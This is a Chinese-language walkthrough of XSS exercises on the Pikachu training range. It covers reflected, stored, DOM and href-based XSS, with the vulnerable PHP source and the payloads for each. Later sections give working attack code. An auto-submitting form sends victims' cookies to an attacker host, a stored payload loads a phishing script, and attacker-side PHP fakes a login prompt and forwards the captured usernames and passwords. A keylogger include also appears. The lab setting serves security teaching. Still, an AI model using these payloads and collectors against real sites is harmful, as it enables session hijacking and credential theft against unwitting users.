pikachu靶场-XSS
1.反射型xss
-
测试
输入<>'"xxxx //测试关键字是否有过滤 #网页源代码 <p class="xssr_title">Which NBA player do you like?</p> <form method="get"> <input class="xssr_in" type="text" maxlength="20" name="message" /> <input class="xssr_submit" type="submit" name="submit" value="submit" /> </form> <p class='notice'>who is '"<>xxxxxx,i don't care!</p> </div> 根据网页源代码可以看到输入的字符未经过过滤直接输出到页面 # payload <script>alert(1111)</script>
-
后台源代码
if(isset($_GET['submit'])){ if(empty($_GET['message'])){ $html.="<p class='notice'>输入'kobe'试试-_-</p>"; }else{ if($_GET['message']=='kobe'){ $html.="<p class='notice'>愿你和{$_GET['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />"; }else{ $html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>"; } } }
2.存储型xss
-
测试
# 输入 <>'"?&ffffffff # 网页源代码 <p class="line">留言列表:</p> <p class='con'><>'"?&ffffffff</p><a href='xss_stored.php?id=74'>删除</a><p class='con'><>'"?&ffffffff</p><a href='xss_stored.php?id=75'>删除</a> 根据网页源代码查看存储型xss还是未做过滤。 # payload <script>alert(cunchuxss)</script>
-
后台源代码
<?php echo $html; $query="select * from message"; $result=execute($link, $query); while($data=mysqli_fetch_assoc($result)){ echo "<p class='con'>{$data['content']}</p><a href='xss_stored.php?id={$data['id']}'>删除</a>"; } echo $html; ?> # 存储型直接在数据库中将攻击者插入的语句查询了处理,并输出到页面中。
3.DOM型xss
-
测试
# 查看网页源代码 <script> function domxss(){ var str = document.getElementById("text").value; document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>"; } </script> 这里需要输入一个连接,通过点击触发这段javascript代码,然后需要闭合' # payload ' οnclick="alert(1111)">
-
DOM型xss-x
# 查看网页源代码 <script> function domxss(){ var str = window.location.search; //获取浏览器的参数 var txss = decodeURIComponent(str.split("text=")[1]); var xss = txss.replace(/\+/g,' '); // alert(xss); document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>"; } </script> # payload ' οnclick="alert(1111)"> 可以将形成的url发送其他用户,用户点击后也会同样的执行恶意代码
4.获取用户cookie
-
编写恶意网页
# 攻击者在自己的网站下编写接受cookie 的网页代码 <html> <head> <script> window.onload=function(){ document.getElementById("postsubmit").click(); } </script> </head> <body> <form method="post" action="http://192.168.254.201/pikachu/vul/xss/xsspost/xss_reflected_post.php"> <input id="xssr_in" type="text" name="message" value= "<script>document.location = 'http://192.168.254.182/pkxss/xcookie/cookie.php?cookie='+document.cookie; </script>"/> <input id="postsubmit" type="submit" name="submit" value="submit" /> </form> </body> </html> 这里的逻辑是向192.168.254.201提交post表单,并且提交的value中携带javascript代码,会向攻击者的网站发送用户的cookie信息。 注意:被攻击的网站http-only为false,不然不会接收到cookie
-
用户输入账户和密码
-
用户执行恶意连接http://192.168.254.182/post.html
5.钓鱼攻击
-
payload
# 使用存储型XSS构造payload <script src="http://192.168.254.182/pkxss/xfish/fish.php"></script> 此payload会链接到攻击者构造的页面,结果是弹出用户名和密码的弹框诱导用户输入
-
用户访问插入恶意代码的网页
-
攻击者查看获取到的用户名和密码
-
攻击者后台源代码
<?php error_reporting(0); // var_dump($_SERVER); if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) { //发送认证框,并给出迷惑性的info header('Content-type:text/html;charset=utf-8'); header("WWW-Authenticate: Basic realm='认证'"); header('HTTP/1.0 401 Unauthorized'); echo 'Authorization Required.'; exit; } else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){ //将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后台的IP header("Location: http://192.168.254.182/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]} &password={$_SERVER[PHP_AUTH_PW]}"); } ?>
6.获取键盘记录
-
payload
# 使用存储型XSS构造payload <script src="http://192.168.254.182/pkxss/rkeypress/rk.js"></script>
-
用户访问带有恶意代码的网页,并随意敲击键盘
7.href输出
-
后台源代码
if(isset($_GET['submit'])){ if(empty($_GET['message'])){ $html.="<p class='notice'>叫你输入个url,你咋不听?</p>"; } if($_GET['message'] == 'www.baidu.com'){ $html.="<p class='notice'>我靠,我真想不到你是这样的一个人</p>"; }else { //输出在a标签的href属性里面,可以使用javascript协议来执行js //防御:只允许http,https,其次在进行htmlspecialchars处理 $message=htmlspecialchars($_GET['message'],ENT_QUOTES); $html.="<a href='{$message}'> 阁下自己输入的url还请自己点一下吧</a>"; } } 网站对用户输入使用了htmlspecialchars进行了实体化处理
-
payload
javascript:alert(111111)
-
结果